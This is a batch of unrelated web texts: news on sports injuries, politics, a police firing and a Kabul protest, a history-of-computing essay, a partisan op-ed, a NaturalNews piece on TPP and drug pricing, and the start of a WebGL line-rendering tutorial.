winter.  "You change the physics of the snowpack so that snow becomes more vulnerable to melting as soon as the sun comes up," he says.  Tedesco, from the Lamont Doherty Earth Observatory in New York, says polar regions are not as resilient to warming as other places. That's because it takes only one or two degrees to change the Arctic from a frozen world to an unfrozen — and very different — one.  "In other places, going from 75 F to 80 F might not make such a great difference," he says. "But if you cross the melting point, you are basically stepping into a completely new world."
-Matt Bettencourt spent Wednesday night in the hospital because of an issue with his wife’s pregnancy. Everything turned out OK, but Sunday night, the Bettencourts were back in the hospital — only this time it was for his wife’s brother, Brian Rush.  Rush was caddying for his brother-in-law Sunday during the final round of the AT&T Pebble Beach National Pro-Am when Rush slipped on the rocks off Pebble Beach’s 18th fairway. Rush hit his head twice on the rock, and suffered a concussion, a broken shoulder and a compound fracture in his forearm.  "I hit a tee shot that bounced into the hazard and there was three or four balls down on the tide," Bettencourt said. "The tide was out on the beach, so we made our way down the hill there and his left heel caught a piece of moss on the rock. And I tried to grab him, was a couple inches away and the next thing I know, I mean, he hit his head twice on the rock. He just bounced."  Article continues below ...  After about 25 minutes, Rush was put on a stretcher and transported to the hospital.  "We had to let a group play through us because they couldn’t figure out how to get him back up the hill," Bettencourt said. "They had to put him on a board to get him up the hill."  Bettencourt grabbed a friend out of the gallery to carry his bag for the remaining nine holes. He shot 5-over 77 to finish 63rd before rushing to the hospital after his round.  "Getting to know this little hospital here, quite too well," Bettencourt said.  MORE FROM GOLFWEEK:  TV: How did the Clambake go so wrong?  Furyk leaves Pebble frustrated as winless streak continues  Adam Scott, wife welcome baby girl  Vaughn Taylor, Jon Curran make the most of top 10 at Pebble
-The Eastern Conference semfinal is turning into a war of attrition between the Raptors and Heat.  Toronto's DeMarre Carroll is questionable for Game 6 Friday in Miami after injuring his wrist in Toronto's 99-91 win on Wednesday. He has a left wrist contusion.  Like Carroll, Miami's Luol Deng left Game 5 in the third quarter with a left wrist injury.  Raptors all-star DeMar DeRozan spent time in the locker-room in the fourth quarter, having a bum thumb attended to, but returned with 4:17 remaining. He said it felt "like a blow torch on my hand."  Miami centre Hassan Whiteside (knee) didn't even make the trip to Toronto and remains day-to-day. Raptors big man Jonas Valanciunas (ankle) was seen after the game, minus his walking boot but moving slowly with a big limp. He is out for the series.  Toronto all-star Kyle Lowry is sporting new Band-Aids each game and is nursing a sore elbow. Heat point guard Goran Dragic needed eight stitches when his teeth went through his bottom lip after a hard collision with DeMar DeRozan in Game 2.  Carroll's absence is cause for concern given he has been defending Heat star Dwyane Wade for large chunks of time.  Carroll crashed to the ground after running into a Miami player attempting to set a block and appeared to land awkwardly on his wrist. He was on the ground for some time, with teammates looking on as he was attended to under the Heat basket. When Carroll got up, he headed slowly to the Toronto locker-room in obvious pain, holding his left wrist.  "It was very scary," said Raptors forward Patrick Patterson. "I didn't know what happened, I didn't really get a good look at it. But I stood up and he was still laying down on the ground.  "Hopefully he's OK. Hopefully whatever tests they do, they all come back negative and he's able to play. But yeah it was definitely scary. Of course we were thinking the worst. With JV going down, we can't afford to lose DeMarre."  X-rays were negative. Carroll did not speak to media after the game.  He had six points in 26 minutes 22 seconds. The six-foot-eight 212-pounder has had an injury-plagued season, playing just 26 regular-season games due to a knee injury.  The Heat said X-rays were inconclusive on Deng, who had four points in 24:20. An MRI is planned in Miami.  "Luol is about as tough a competitor as I've ever been around so we'll see," said Miami coach Erik Spoelstra. "I don't even want to jump to a conclusion right now."
-50 Cent has donated $100,000 (£69,000) to charity after he mocked an autistic airport worker.  The rapper publicly apologised to Andrew Farrell after he tweeted a video of himself teasing him at Cincinnati/Northern Kentucky Airport.  In a statement 50 Cent said he wanted "to make good with Andrew Farrell".  He explained that he wanted "to turn this misunderstanding into an understanding".  "There are people that are ignored, mistreated and neglected with disabilities that need our support," he said.  "Today, I have made a donation of $100,000 to this worthy cause through Autism Speaks.  "I am calling on my fellow musicians, actors, entertainers and all others who may not have fully considered this cause to join together to help in any way they can."  50 Cent posted the video writing that the janitor seemed "high" and that "the new generation is crazy" but Andrew Farrell didn't appear to respond.  The rapper, whose real name is Curtis Jackson, deleted the video.  It was Andrew Farrell's first job, which he'd been working in for a month.  After the video was posted a school friend of Andrew Farrell's left a comment, saying: "He has extreme social difficulties, just to let you know.  "He has a hard enough time getting through life without jackasses like you making fun of him. I hope you feel good about yourself. You just lost a huge fan."  50 Cent said he personally apologised to the family.  In a statement, they said: "As requested we have received a letter apologising for 50 Cent's behaviour and we have chosen to accept it, along with a request that a donation be made to Autism Speaks.  "Though a letter of apology will not undo what 50 Cent has put our family through, we are choosing to forgive.  "A great lesson can be learned from this heartbreaking situation. Regardless of the way that another person appears to you, it is never OK to publicly humiliate them via social media."  Find us on Instagram at BBCNewsbeat and follow us on Snapchat, search for bbc_newsbeat
-Billionaire Republican donor Sheldon Adelson is reportedly willing to give Donald Trump as much as $100 million for his presidential campaign -- a purported record-setting amount for the wealth casino magnate.  Adelson pledged the amount to Trump, the presumptive GOP presidential nominee, during a meeting last week in New York, two GOP sources told The New York Times, which first reported the story.  Trump will indeed need the support. Much of the billionaire businessman’s success in the primary race came from his ability to fund his own campaign and tell voters that he is not beholden to corporate, Wall Street or lobbyists’ interests.  However, his own wealth and small-donor contributions would be no match for those of Hillary Clinton and the Democratic machine behind her if the front-running Clinton becomes Trump’s general election opponent.  Trump has since being declared the presumptive nominee on May 3 met with Washington Republicans to begin coordinating fundraising efforts for his general election bid and those of other Republican candidates on November ballots.  The Times reports that the Las Vegas-based Adelson’s commitment to Trump will result in Adelson scaling back his contributions to congressional Republicans, who are in a tough fight to keep control of the Senate.  Trump says he has already loaned his primary campaign $50 million and would need as much as a $1 billion for a White House bid.  Exactly how Adelson would contribute to Trump’s effort is unclear. But such a large sum would require him, after giving directly to the Trump campaign, to donate through a super PAC because they allow unlimited donations. (Trump so far has been outspoken about the amount of influence super PACs have in politics.)  In 2012, Adelson contributed at least $98 million to Republican efforts, according to a study by ProPublica cited by The Times. But that money went to 34 separate campaigns and groups.  Adelson publically endorsed Trump last week, after having backed Texas GOP Sen. Ted Cruz’s failed GOP primary bid.
-A former Arkansas police officer, who was fired after he exposed an undercover officer’s sex acts with a prostitute, has filed a lawsuit to get his job back.  A lawsuit filed in Sebastian County Circuit Court on Monday, which was obtained by KFSM, explains that former Fort Smith Police Department Sgt. Don Paul Bales received a photo of an affidavit in April of 2014 which indicated that an undercover officer with the Street Crimes Unit had engaged in misconduct.  According to the affidavit, the undercover officer — who was identified only as “J.B.” — had met a suspected prostitute through the Backpage.com website. He arranged to meet the woman at Season’s Inn motel in Fort Smith, and the two agreed on a rate of $150 an hour for her services.  The affidavit stated that the officer took off his clothes, and he allowed the woman to perform sex acts on him. The undercover officer then arrested the woman on suspicion of misdemeanor prostitution. The affidavit explained that the officer felt that it was necessary to take off his clothes and engage in sex acts “because he believed that such action was necessary to gather the proof needed to convict the person for violating the prostitution statute.”  Bales reported the conduct of the officer to his superiors, and turned over the photo of the affidavit to his lawyer. Following an investigation, Fort Smith Police Department Chief Kevin Lindsey determined that Bales had violated department policy by allowing his lawyer to see the name of the undercover officer on the affidavit.  However, Bales asserted that his communication with his lawyer was covered by attorney-client privilege. Although a copy of the affidavit was eventually published on the attorney’s blog, the identity of the undercover officer was redacted.  In all, the department said that Bales was fired for violating eight rules, including not being truthful, giving false testimony, revealing confidential information, releasing a confidential report and not respecting his superiors.  The department also found that the undercover officer acted in accordance with department policy when he took off his clothes and allowed the woman to perform sex acts on him before he arrested her. In fact, the department accused Bales of revealing police tactics, arguing that most people did not know that officers were allowed to get naked.  Bales’ firing has twice been upheld on appeal by the Fort Smith Civil Service Commission.  (h/t: Reason)
-THE HISTORY Of computers is often told as a history of objects, from the abacus to the Babbage engine up through the code-breaking machines of World War II. In fact, it is better understood as a history of ideas, mainly ideas that emerged from mathematical logic, an obscure and cult-like discipline that first developed in the 19th century. Mathematical logic was pioneered by philosopher-mathematicians, most notably George Boole and Gottlob Frege, who were themselves inspired by Leibniz’s dream of a universal “concept language,” and the ancient logical system of Aristotle. Listen to the audio version of this article: Feature stories, read aloud: download the Audm app for your iPhone.  Mathematical logic was initially considered a hopelessly abstract subject with no conceivable applications. As one computer scientist commented: “If, in 1901, a talented and sympathetic outsider had been called upon to survey the sciences and name the branch which would be least fruitful in [the] century ahead, his choice might well have settled upon mathematical logic.” And yet, it would provide the foundation for a field that would have more impact on the modern world than any other. The evolution of computer science from mathematical logic culminated in the 1930s, with two landmark papers: Claude Shannon’s “A Symbolic Analysis of Switching and Relay Circuits,” and Alan Turing’s “On Computable Numbers, With an Application to the Entscheidungsproblem.” In the history of computer science, Shannon and Turing are towering figures, but the importance of the philosophers and logicians who preceded them is frequently overlooked. A well-known history of computer science describes Shannon’s paper as “possibly the most important, and also the most noted, master’s thesis of the century.” Shannon wrote it as an electrical engineering student at MIT. His adviser, Vannevar Bush, built a prototype computer known as the Differential Analyzer that could rapidly calculate differential equations. The device was mostly mechanical, with subsystems controlled by electrical relays, which were organized in an ad hoc manner as there was not yet a systematic theory underlying circuit design. Shannon’s thesis topic came about when Bush recommended he try to discover such a theory. “Mathematics may be defined as the subject in which we never know what we are talking about.” Shannon’s paper is in many ways a typical electrical-engineering paper, filled with equations and diagrams of electrical circuits. What is unusual is that the primary reference was a 90-year-old work of mathematical philosophy, George Boole’s The Laws of Thought.  Today, Boole’s name is well known to computer scientists (many programming languages have a basic data type called a Boolean), but in 1938 he was rarely read outside of philosophy departments. Shannon himself encountered Boole’s work in an undergraduate philosophy class. “It just happened that no one else was familiar with both fields at the same time,” he commented later. Boole is often described as a mathematician, but he saw himself as a philosopher, following in the footsteps of Aristotle. The Laws of Thought begins with a description of his goals, to investigate the fundamental laws of the operation of the human mind: The design of the following treatise is to investigate the fundamental laws of those operations of the mind by which reasoning is performed; to give expression to them in the symbolical language of a Calculus, and upon this foundation to establish the science of Logic ... and, finally, to collect ... some probable intimations concerning the nature and constitution of the human mind. He then pays tribute to Aristotle, the inventor of logic, and the primary influence on his own work: In its ancient and scholastic form, indeed, the subject of Logic stands almost exclusively associated with the great name of Aristotle. As it was presented to ancient Greece in the partly technical, partly metaphysical disquisitions of The Organon, such, with scarcely any essential change, it has continued to the present day. Trying to improve on the logical work of Aristotle was an intellectually daring move. Aristotle’s logic, presented in his six-part book The Organon, occupied a central place in the scholarly canon for more than 2,000 years. It was widely believed that Aristotle had written almost all there was to say on the topic. The great philosopher Immanuel Kant commented that, since Aristotle, logic had been “unable to take a single step forward, and therefore seems to all appearance to be finished and complete.”  Aristotle’s central observation was that arguments were valid or not based on their logical structure, independent of the non-logical words involved. The most famous argument schema he discussed is known as the syllogism: All men are mortal.  Socrates is a man.  Therefore, Socrates is mortal. You can replace “Socrates” with any other object, and “mortal” with any other predicate, and the argument remains valid. The validity of the argument is determined solely by the logical structure. The logical words — “all,” “is,” are,” and “therefore” — are doing all the work. Aristotle also defined a set of basic axioms from which he derived the rest of his logical system: An object is what it is (Law of Identity)  No statement can be both true and false (Law of Non-contradiction)  Every statement is either true or false (Law of the Excluded Middle) These axioms weren’t meant to describe how people actually think (that would be the realm of psychology), but how an idealized, perfectly rational person ought to think. Aristotle’s axiomatic method influenced an even more famous book, Euclid’s Elements, which is estimated to be second only to the Bible in the number of editions printed. Although ostensibly about geometry, the Elements became a standard textbook for teaching rigorous deductive reasoning. (Abraham Lincoln once said that he learned sound legal argumentation from studying Euclid.) In Euclid’s system, geometric ideas were represented as spatial diagrams. Geometry continued to be practiced this way until René Descartes, in the 1630s, showed that geometry could instead be represented as formulas. His Discourse on Method was the first mathematics text in the West to popularize what is now standard algebraic notation — x, y, z for variables, a, b, c for known quantities, and so on.  Descartes’s algebra allowed mathematicians to move beyond spatial intuitions to manipulate symbols using precisely defined formal rules. This shifted the dominant mode of mathematics from diagrams to formulas, leading to, among other things, the development of calculus, invented roughly 30 years after Descartes by, independently, Isaac Newton and Gottfried Leibniz. Boole’s goal was to do for Aristotelean logic what Descartes had done for Euclidean geometry: free it from the limits of human intuition by giving it a precise algebraic notation. To give a simple example, when Aristotle wrote: All men are mortal. Boole replaced the words “men” and “mortal” with variables, and the logical words “all” and “are” with arithmetical operators: x = x * y Which could be interpreted as “Everything in the set x is also in the set y.” The Laws of Thought created a new scholarly field—mathematical logic—which in the following years became one of the most active areas of research for mathematicians and philosophers. Bertrand Russell called the Laws of Thought “the work in which pure mathematics was discovered.” Shannon’s insight was that Boole’s system could be mapped directly onto electrical circuits. At the time, electrical circuits had no systematic theory governing their design. Shannon realized that the right theory would be “exactly analogous to the calculus of propositions used in the symbolic study of logic.”  He showed the correspondence between electrical circuits and Boolean operations in a simple chart: This correspondence allowed computer scientists to import decades of work in logic and mathematics by Boole and subsequent logicians. In the second half of his paper, Shannon showed how Boolean logic could be used to create a circuit for adding two binary digits. By stringing these adder circuits together, arbitrarily complex arithmetical operations could be constructed. These circuits would become the basic building blocks of what are now known as arithmetical logic units, a key component in modern computers. Another way to characterize Shannon’s achievement is that he was first to distinguish between the logical and the physical layer of computers. (This distinction has become so fundamental to computer science that it might seem surprising to modern readers how insightful it was at the time—a reminder of the adage that “the philosophy of one century is the common sense of the next.”) Since Shannon’s paper, a vast amount of progress has been made on the physical layer of computers, including the invention of the transistor in 1947 by William Shockley and his colleagues at Bell Labs. Transistors are dramatically improved versions of Shannon’s electrical relays — the best known way to physically encode Boolean operations. Over the next 70 years, the semiconductor industry packed more and more transistors into smaller spaces. A 2016 iPhone has about 3.3 billion transistors, each one a “relay switch” like those pictured in Shannon’s diagrams.  While Shannon showed how to map logic onto the physical world, Turing showed how to design computers in the language of mathematical logic. When Turing wrote his paper, in 1936, he was trying to solve “the decision problem,” first identified by the mathematician David Hilbert, who asked whether there was an algorithm that could determine whether an arbitrary mathematical statement is true or false. In contrast to Shannon’s paper, Turing’s paper is highly technical. Its primary historical significance lies not in its answer to the decision problem, but in the template for computer design it provided along the way. Turing was working in a tradition stretching back to Gottfried Leibniz, the philosophical giant who developed calculus independently of Newton. Among Leibniz’s many contributions to modern thought, one of the most intriguing was the idea of a new language he called the “universal characteristic” that, he imagined, could represent all possible mathematical and scientific knowledge. Inspired in part by the 13th-century religious philosopher Ramon Llull, Leibniz postulated that the language would be ideographic like Egyptian hieroglyphics, except characters would correspond to “atomic” concepts of math and science. He argued this language would give humankind an “instrument” that could enhance human reason “to a far greater extent than optical instruments” like the microscope and telescope.  He also imagined a machine that could process the language, which he called the calculus ratiocinator. If controversies were to arise, there would be no more need of disputation between two philosophers than between two accountants. For it would suffice to take their pencils in their hands, and say to each other: Calculemus—Let us calculate. Leibniz didn’t get the opportunity to develop his universal language or the corresponding machine (although he did invent a relatively simple calculating machine, the stepped reckoner). The first credible attempt to realize Leibniz’s dream came in 1879, when the German philosopher Gottlob Frege published his landmark logic treatise Begriffsschrift. Inspired by Boole’s attempt to improve Aristotle’s logic, Frege developed a much more advanced logical system. The logic taught in philosophy and computer-science classes today—first-order or predicate logic—is only a slight modification of Frege’s system. Frege is generally considered one of the most important philosophers of the 19th century. Among other things, he is credited with catalyzing what noted philosopher Richard Rorty called the “linguistic turn” in philosophy. As Enlightenment philosophy was obsessed with questions of knowledge, philosophy after Frege became obsessed with questions of language. His disciples included two of the most important philosophers of the 20th century—Bertrand Russell and Ludwig Wittgenstein.  The major innovation of Frege’s logic is that it much more accurately represented the logical structure of ordinary language. Among other things, Frege was the first to use quantifiers (“for every,” “there exists”) and to separate objects from predicates. He was also the first to develop what today are fundamental concepts in computer science like recursive functions and variables with scope and binding. Frege’s formal language — what he called his “concept-script” — is made up of meaningless symbols that are manipulated by well-defined rules. The language is only given meaning by an interpretation, which is specified separately (this distinction would later come to be called syntax versus semantics). This turned logic into what the eminent computer scientists Allan Newell and Herbert Simon called “the symbol game,” “played with meaningless tokens according to certain purely syntactic rules.” All meaning had been purged. One had a mechanical system about which various things could be proved. Thus progress was first made by walking away from all that seemed relevant to meaning and human symbols. As Bertrand Russell famously quipped: “Mathematics may be defined as the subject in which we never know what we are talking about, nor whether what we are saying is true.” An unexpected consequence of Frege’s work was the discovery of weaknesses in the foundations of mathematics. For example, Euclid’s Elements — considered the gold standard of logical rigor for thousands of years — turned out to be full of logical mistakes. Because Euclid used ordinary words like “line” and “point,” he — and centuries of readers — deceived themselves into making assumptions about sentences that contained those words. To give one relatively simple example, in ordinary usage, the word “line” implies that if you are given three distinct points on a line, one point must be between the other two. But when you define “line” using formal logic, it turns out “between-ness” also needs to be defined—something Euclid overlooked. Formal logic makes gaps like this easy to spot.  This realization created a crisis in the foundation of mathematics. If the Elements — the bible of mathematics — contained logical mistakes, what other fields of mathematics did too? What about sciences like physics that were built on top of mathematics? The good news is that the same logical methods used to uncover these errors could also be used to correct them. Mathematicians started rebuilding the foundations of mathematics from the bottom up. In 1889, Giuseppe Peano developed axioms for arithmetic, and in 1899, David Hilbert did the same for geometry. Hilbert also outlined a program to formalize the remainder of mathematics, with specific requirements that any such attempt should satisfy, including: Completeness: There should be a proof that all true mathematical statements can be proved in the formal system.  Decidability: There should be an algorithm for deciding the truth or falsity of any mathematical statement. (This is the “Entscheidungsproblem” or “decision problem” referenced in Turing’s paper.) Rebuilding mathematics in a way that satisfied these requirements became known as Hilbert’s program. Up through the 1930s, this was the focus of a core group of logicians including Hilbert, Russell, Kurt Gödel, John Von Neumann, Alonzo Church, and, of course, Alan Turing. “In science, novelty emerges only with difficulty.” Hilbert’s program proceeded on at least two fronts. On the first front, logicians created logical systems that tried to prove Hilbert’s requirements either satisfiable or not.  On the second front, mathematicians used logical concepts to rebuild classical mathematics. For example, Peano’s system for arithmetic starts with a simple function called the successor function which increases any number by one. He uses the successor function to recursively define addition, uses addition to recursively define multiplication, and so on, until all the operations of number theory are defined. He then uses those definitions, along with formal logic, to prove theorems about arithmetic. The historian Thomas Kuhn once observed that “in science, novelty emerges only with difficulty.” Logic in the era of Hilbert’s program was a tumultuous process of creation and destruction. One logician would build up an elaborate system and another would tear it down. The favored tool of destruction was the construction of self-referential, paradoxical statements that showed the axioms from which they were derived to be inconsistent. A simple form of this “liar’s paradox” is the sentence: This sentence is false. If it is true then it is false, and if it is false then it is true, leading to an endless loop of self-contradiction. Russell made the first notable use of the liar’s paradox in mathematical logic. He showed that Frege’s system allowed self-contradicting sets to be derived: Let R be the set of all sets that are not members of themselves. If R is not a member of itself, then its definition dictates that it must contain itself, and if it contains itself, then it contradicts its own definition as the set of all sets that are not members of themselves. This became known as Russell’s paradox and was seen as a serious flaw in Frege’s achievement. (Frege himself was shocked by this discovery. He replied to Russell: “Your discovery of the contradiction caused me the greatest surprise and, I would almost say, consternation, since it has shaken the basis on which I intended to build my arithmetic.”)  Russell and his colleague Alfred North Whitehead put forth the most ambitious attempt to complete Hilbert’s program with the Principia Mathematica, published in three volumes between 1910 and 1913. The Principia’s method was so detailed that it took over 300 pages to get to the proof that 1+1=2. Russell and Whitehead tried to resolve Frege’s paradox by introducing what they called type theory. The idea was to partition formal languages into multiple levels or types. Each level could make reference to levels below, but not to their own or higher levels. This resolved self-referential paradoxes by, in effect, banning self-reference. (This solution was not popular with logicians, but it did influence computer science — most modern computer languages have features inspired by type theory.) Self-referential paradoxes ultimately showed that Hilbert’s program could never be successful. The first blow came in 1931, when Gödel published his now famous incompleteness theorem, which proved that any consistent logical system powerful enough to encompass arithmetic must also contain statements that are true but cannot be proven to be true. (Gödel’s incompleteness theorem is one of the few logical results that has been broadly popularized, thanks to books like Gödel, Escher, Bach and The Emperor’s New Mind). The final blow came when Turing and Alonzo Church independently proved that no algorithm could exist that determined whether an arbitrary mathematical statement was true or false. (Church did this by inventing an entirely different system called the lambda calculus, which would later inspire computer languages like Lisp.) The answer to the decision problem was negative.  Turing’s key insight came in the first section of his famous 1936 paper, “On Computable Numbers, With an Application to the Entscheidungsproblem.” In order to rigorously formulate the decision problem (the “Entscheidungsproblem”), Turing first created a mathematical model of what it means to be a computer (today, machines that fit this model are known as “universal Turing machines”). As the logician Martin Davis describes it: Turing knew that an algorithm is typically specified by a list of rules that a person can follow in a precise mechanical manner, like a recipe in a cookbook. He was able to show that such a person could be limited to a few extremely simple basic actions without changing the final outcome of the computation. Then, by proving that no machine performing only those basic actions could determine whether or not a given proposed conclusion follows from given premises using Frege’s rules, he was able to conclude that no algorithm for the Entscheidungsproblem exists. As a byproduct, he found a mathematical model of an all-purpose computing machine. Next, Turing showed how a program could be stored inside a computer alongside the data upon which it operates. In today’s vocabulary, we’d say that he invented the “stored-program” architecture that underlies most modern computers: Before Turing, the general supposition was that in dealing with such machines the three categories — machine, program, and data — were entirely separate entities. The machine was a physical object; today we would call it hardware. The program was the plan for doing a computation, perhaps embodied in punched cards or connections of cables in a plugboard. Finally, the data was the numerical input. Turing’s universal machine showed that the distinctness of these three categories is an illusion. This was the first rigorous demonstration that any computing logic that could be encoded in hardware could also be encoded in software. The architecture Turing described was later dubbed the “Von Neumann architecture” — but modern historians generally agree it came from Turing, as, apparently, did Von Neumann himself.  Although, on a technical level, Hilbert’s program was a failure, the efforts along the way demonstrated that large swaths of mathematics could be constructed from logic. And after Shannon and Turing’s insights—showing the connections between electronics, logic and computing—it was now possible to export this new conceptual machinery over to computer design. During World War II, this theoretical work was put into practice, when government labs conscripted a number of elite logicians. Von Neumann joined the atomic bomb project at Los Alamos, where he worked on computer design to support physics research. In 1945, he wrote the specification of the EDVAC—the first stored-program, logic-based computer—which is generally considered the definitive source guide for modern computer design. Turing joined a secret unit at Bletchley Park, northwest of London, where he helped design computers that were instrumental in breaking German codes. His most enduring contribution to practical computer design was his specification of the ACE, or Automatic Computing Engine. As the first computers to be based on Boolean logic and stored-program architectures, the ACE and the EDVAC were similar in many ways. But they also had interesting differences, some of which foreshadowed modern debates in computer design. Von Neumann’s favored designs were similar to modern CISC (“complex”) processors, baking rich functionality into hardware. Turing’s design was more like modern RISC (“reduced”) processors, minimizing hardware complexity and pushing more work to software.
-June 3, 2008. It's an important date in American history.  On June 3, 2008, Sen. Barack Obama clinched enough delegates to win the Democratic nomination for president of the United States.  On June 3, 2008, General Motors chief executive officer Rick Wagoner announced that, due to shifting consumer purchases, four of their auto plants would close by 2010 or "sooner if demand dictates." On his list was the SUV plant in Janesville, Wis.  On June 3, 2008, Rep. Paul Ryan, R-Wis., said about that plant closure: "Growing up and living in Janesville, this is something we've always feared." The workers at Janesville expected this. As early as December 2007, GM had announced a production cutback, and by spring was offering employees buyouts.  On June 3, 2008, Obama, who had visited the plant earlier in the year, released this statement: "Today's news is a painful reminder not only of the challenges America faces in our global economy, but of George Bush's failed economic policies." He then proposed that we fund the automakers to retool their factories for the fuel-efficient cars that America was starting to purchase.  For Janesville though, Obama entered the White House too late.  Ryan certainly knows the actual history of the GM plant in Janesville.  More than four years later, on Aug. 16, campaigning as the VP pick of the party that would have let GM be liquidated, Ryan told a crowd, "One of the reasons that plant got shut down was $4 gasoline. You see, this costs jobs. The president's terrible energy policies are costing us jobs."  That was a lie. Ryan knows this. Obama's energy policies had nothing to do with the price of gas in 2008.  It didn't matter.  On Aug. 29, as Ryan accepted the nomination for vice president, he knowingly lied again to the entire nation:  "My home state voted for President Obama. When he talked about change, many people liked the sound of it, especially in Janesville, where we were about to lose a major factory. … Right there at that plant, candidate Obama said: 'I believe that if our government is there to support you … this plant will be here for another hundred years.' … Well, as it turned out, that plant didn't last another year. It is locked up and empty to this day."  Candidate Obama was right. Eventually he saved that entire company and more than 1 million auto jobs. But he could not reverse a corporate decision made well before he took office.  Ryan knows this.  But for Ryan and the Romney campaign, the truth doesn't matter. Their campaign pollster admitted it: "We're not going to let our campaign be dictated by fact checkers," Neil Newhouse said this week.  That's painfully obvious. Fact checkers should take the weekend off after going through Ryan's lie-larded speech on Wednesday. Factcheck.org; PolitiFact; Glenn Kessler from the Washington Post — all must be exhausted from labeling as untrue the lies flowing from Ryan's mouth.  From the "We built it" quote that was deliberately taken out of context, to the continuing lie about welfare and spending, to the speeches from many candidates that contained some variation of all the above — this entire GOP convention has been one continuous lie.  But the display by Ryan was one for the record books.  The "we built it" theme lie. The Medicare lie. The Simpson-Bowles lie. The credit rating downgrade lie. The Janesville lie. Not to mention the "misleading" statements like that the Republicans would "protect the weak," when 62 percent of Ryan's budget cuts target poor families. Or that health care, not the economy, was the president's first order of business when the stimulus was passed first. Others have catalogued the lies ad nauseum.  My question is: Are the American people going to give Ryan's serial lying a pass? Is it okay to voters that the GOP vice presidential nominee delivered the speech well but his content was pure poison? Have we become so immune to lies that it's the new normal?  Please tell me no.  "We will not duck the tough issues, we will lead," Ryan promised Wednesday night. He mentioned leading and leadership eight times in his speech. But he'd better bone up on what leadership is all about. More than anything, "leadership" is about honesty.  The No. 1 quality people look for in leaders, James Kouzes and Barry Posner state in their iconic book, The Leadership Challenge, where they cite more than 40 years of extensive surveys across six continents, is honesty. People want to trust that their leaders will do what they say they will do. Of course we want to believe we will not be duped. Of course we want to be led honestly.  I couldn't help thinking that Wednesday night we have been sold a bill of goods by a slick-haired, earnest-looking, fast-talking salesman. Harold Hill, move over. Apologies to Meredith Willson of The Music Man fame, but if these guys win — we surely got trouble, my friends. Trouble with a capital "T" and that rhymes with "P" and that stands for Paul.  Jennifer Granholm is the former governor of Michigan, serving from 2003 to 2011. She is now host of "The War Room" on Current TV. She is also a visiting public policy and law professor at the University of California, Berkeley.  © 2012 Politico
-(NaturalNews) It turns out that there is another globalist player at the Trans-Pacific Partnership trade negotiating table –– and if things go the industry's way, all competition will be crushed, and the world will be at its mercy.According to, which cited newly leaked annex documents, the Obama Administration is no longer seeking protection for Big Pharma prices under the 12-nation deal, folding to pressure and resistance from the industry and the other nations involved in the talks. At the same time, U.S. negotiators are pressing negotiating partners to open up the process that establishes reimbursement rates for drugs and medical devices.But the way the deal is being structured, the largest pharmaceutical firms will essentially be put in a position to destroy much of their competition, which is why public health officials, generic drug makers and others are opposing the deal. They "contend that it will empower big pharmaceutical firms to command higher reimbursement rates in the United States and abroad, at the expense of consumers," the paper reported, adding that the TPP could also expose international markets to direct-to-consumer advertising that Americans have suffered."It was very clear to everyone except the U.S. that the initial proposal wasn't about transparency; it was about getting market access for the pharmaceutical industry by giving them greater access to and influence over decision-making processes around pricing and reimbursement," Deborah Gleeson, a lecturer at the School of Psychology and Public Health at La Trobe University in Australia, who has seen the leaked document, told the. And despite the fact that it has been toned down somewhat, she still added, "I think it's a shame that the annex is still being considered at all for the T.P.P."Other opponents have said the Pharma annex, if allowed to stand, will permit Big Pharma giants – most of them based in the U.S. – to protect profits over the best interests of public health, especially in the poorest of countries where neither governments nor consumers can afford to pay what the West pays for medicines.The agreement "will increase the cost of medicines worldwide, starting with the 12 countries that are negotiating the Trans-Pacific Partnership," Judit Rius Sanjuan, a lawyer at Doctors Without Borders, a humanitarian organization that provides medical care in more than 60 countries, told theBut none of that seems to matter to the industry, which is taking its typical fall-back position: "Weto charge outrageous prices for our medicines because of all the time and money it takes to develop them" (all while earning record profits and receiving funding from taxpayers).What's more, judging by the newly released annex, it appears as though U.S.-based Pharma companies are seeking to extend their monopolies around, so they can earn even more. After all, that's the keep people dependent on the industry for their "livelihood" as opposed to actually curing disease and alleviating suffering.And of course, the drive is being supported at all levels of the federal government, especially at the "regulatory agencies" in charge of "overseeing" Big Pharma. That would be the Food and Drug Administration and the Federal Trade Commission, the former of which has gone to great lengths to bury data and obscure Big Pharma's misdeeds, and the latter of which punishes natural health advocates who champion alternative treatments for common ailments.But few want to speak publicly about this collusion and corruption, which, as stated by then-Rep. Ron Paul of Texas, who was running for the 2012 Republican presidential nomination at the time, was akin to being "in bed together.""The insurance companies and the drug companies, whether it's Democrats or Republicans reforming the medical care system, these corporations run the show," he said during a press conference . "You know, they support it, it's because the government doesn't take it over. It's the corporations that end up taking over. So, it's well intended but I think it always backfires on us and that the people we're wanting to regulate end up writing their own regulations."Now we have TPP, theexpansion of the Medical Mafia.
-Breaking News Emails Get breaking news alerts and special reports. The news and stories that matter, delivered weekday mornings.  Nov. 11, 2015, 11:37 AM GMT / Updated Nov. 11, 2015, 1:29 PM GMT By Fazul Rahim  KABUL, Afghanistan — Thousands of angry protesters attempted to enter Afghanistan's presidential compound as a march over the brutal murders of seven minority Hazaras briefly turned violent.  Presidential palace guards fired in the air in an attempt to block protesters from entering the palace. Police told NBC News that two people had been injured, but Afghanistan's TOLO News reported eight people were wounded.  The protesters were demanding government action to halt sectarian violence following the beheadings of seven Hazaras by suspected ISIS-linked militants.  Broadcasts on Afghan TV showed protesters clambering on top of the walls of the compound and security forces with riot shields moving into position. Local broadcaster Ariana News later said Afghan police forces had cut its live feed from the scene.  The protest ramped up after the bodies of victims — three women, a child and four men — were carried through the streets of Kabul by thousands of angry demonstrators on Wednesday calling for justice and bearing grisly images of the dead.
-March 9, 2015  Twitter: @mattdesl  Drawing lines might not sound like rocket science, but it’s damn difficult to do well in OpenGL, particularly WebGL. Here I explore a few different techniques for 2D and 3D line rendering, and accompany each with a small canvas demo.  Source for demos can be found here:  https://github.com/mattdesl/webgl-lines  Line Primitives  WebGL includes support for lines with gl.LINES , gl.LINE_STRIP , and gl.LINE_LOOP . Sounds great, right? Not really. Here are just a few issues with that:  Drivers may implement the rendering/filtering slightly differently, and you may not get a consistent render across devices or browsers  The maximum line width is driver-dependent. Users running ANGLE, for example, will get a maximum of 1.0, which is pretty useless. On my new Yosemite machine, line width maxes out at about 10.  No control over line join or end cap styles  MSAA is not supported in all devices, and most browsers do not support it for off-screen buffers. You may end up with jagged lines  For dashed/dotted lines, glLineStipple has been deprecated and doesn’t exist in WebGL  In some demos, like the one above, gl.LINES might be acceptable, but in most cases it’s inadequate for production quality line rendering.  Triangulated Lines  A common alternative is to break a line into triangles or triangle strips, and then render them as regular geometry. This gives you the most control over the line, allowing for end caps, specific joins, unions (for overlapping transparent 